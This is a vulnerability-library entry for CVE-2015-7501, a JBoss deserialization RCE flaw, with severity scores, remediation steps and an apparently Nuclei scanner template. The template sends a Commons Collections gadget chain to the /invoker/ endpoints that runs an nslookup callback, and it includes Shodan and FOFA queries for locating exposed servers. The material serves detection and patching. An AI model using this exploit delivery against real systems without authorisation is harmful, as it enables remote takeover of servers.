/Vulnerability Library

Red Hat JBoss - Insecure Deserialization

CVE-2015-7501
Early Release

Description

Red Hat JBoss Application Server (4.x, 5.x, 6.x) contains an insecure deserialization vulnerability in the JMXInvokerServlet and EJBInvokerServlet HTTP Invoker endpoints. These endpoints deserialize arbitrary Java objects from unauthenticated HTTP POST requests. An attacker can send a crafted Apache Commons Collections gadget chain to achieve remote code execution. CVE-2015-7501 is the original 2015 FoxGlove Security disclosure of the Java Commons Collections deserialization vulnerability class.

Severity

Critical

CVSS Score

9.8

Exploit Probability

83%

Affected Product

jboss_enterprise_application_platform

Published Date

August 17, 2026

Template Author

pdteam, dhiyaneshdk

CVE-2015-7501.yaml
id: CVE-2015-7501

info:
  name: Red Hat JBoss - Insecure Deserialization
  author: pdteam,DhiyaneshDk
  severity: critical
  description: |
    Red Hat JBoss Application Server (4.x, 5.x, 6.x) contains an insecure deserialization vulnerability in the JMXInvokerServlet and EJBInvokerServlet HTTP Invoker endpoints. These endpoints deserialize arbitrary Java objects from unauthenticated HTTP POST requests. An attacker can send a crafted Apache Commons Collections gadget chain to achieve remote code execution. CVE-2015-7501 is the original 2015 FoxGlove Security disclosure of the Java Commons Collections deserialization vulnerability class.
  impact: |
    Unauthenticated remote code execution with JBoss service account privileges. Full system compromise possible including file access, credential theft, and lateral movement. Actively exploited by threat actors targeting legacy JBoss deployments.
  remediation: |
    Apply Red Hat Security Advisory RHSA-2015:2538. Upgrade to JBoss EAP 7.x which removes the affected invoker servlets. Restrict access to /invoker/* endpoints via jboss-web.xml security constraints. Update Apache Commons Collections to version 3.2.2 or 4.1 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2015-7501
    - https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
    - https://access.redhat.com/security/vulnerabilities/986a8488-052e-46d1-8ede-c55cbfceb822
    - https://github.com/ianxtianxt/CVE-2015-7501
    - https://github.com/jas502n/Jboss_JMXInvokerServlet_Deserialization_RCE
    - https://www.blackduck.com/blog/mitigate-java-deserialization-vulnerability-jboss.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2015-7501
    cwe-id: CWE-502
    epss-score: 0.83274
    epss-percentile: 0.99654
  metadata:
    verified: true
    max-request: 7
    vendor: redhat
    product: jboss_enterprise_application_platform
    shodan-query: http.html:"/jmx-console/" http.title:JBoss
    fofa-query: 'title="JBoss" && body="/jmx-console/"'
  tags: cve2015,cve,jboss,rce,deserialization,java,vulhub,redhat,oast,intrusive,vkev

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/jmx-console/"

    matchers:
      - type: dsl
        dsl:
          - 'contains_any(tolower(body), "jboss", "jmx agent", "jmx-console", "j_security_check", "jboss.system", "jboss.deployment")'
        internal: true

  - raw:
      - |
        POST §endpoint§ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-java-serialized-object
        Accept: application/x-java-serialized-object

        {{generate_java_gadget("commons-collections3.1", "nslookup {{interactsh-url}}", "raw")}}

    attack: clusterbomb

    payloads:
      endpoint:
        - /invoker/JMXInvokerServlet
        - /invoker/EJBInvokerServlet
        - /invoker/readonly

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: dsl
        dsl:
          - 'contains_any(tolower(body), "classcastexception","jboss")'
# digest: 4a0a0047304502203016fb5d2625c1fb09a4cd4a03123ec068d6c8d61a4b7714fb4a8d1bed1f2ff3022100f0120b3054a29576e25aca1f9f8aa0847449915769b3fcde505630e0d258fe3d:922c64590222798bb761d5b6d8e72950
9.8Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE ID:
cve-2015-7501
CWE ID:
cwe-502

References

https://nvd.nist.gov/vuln/detail/CVE-2015-7501https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/https://access.redhat.com/security/vulnerabilities/986a8488-052e-46d1-8ede-c55cbfceb822https://github.com/ianxtianxt/CVE-2015-7501https://github.com/jas502n/Jboss_JMXInvokerServlet_Deserialization_RCEhttps://www.blackduck.com/blog/mitigate-java-deserialization-vulnerability-jboss.html

Remediation Steps

Apply Red Hat Security Advisory RHSA-2015:2538. Upgrade to JBoss EAP 7.x which removes the affected invoker servlets. Restrict access to /invoker/* endpoints via jboss-web.xml security constraints. Update Apache Commons Collections to version 3.2.2 or 4.1 or later.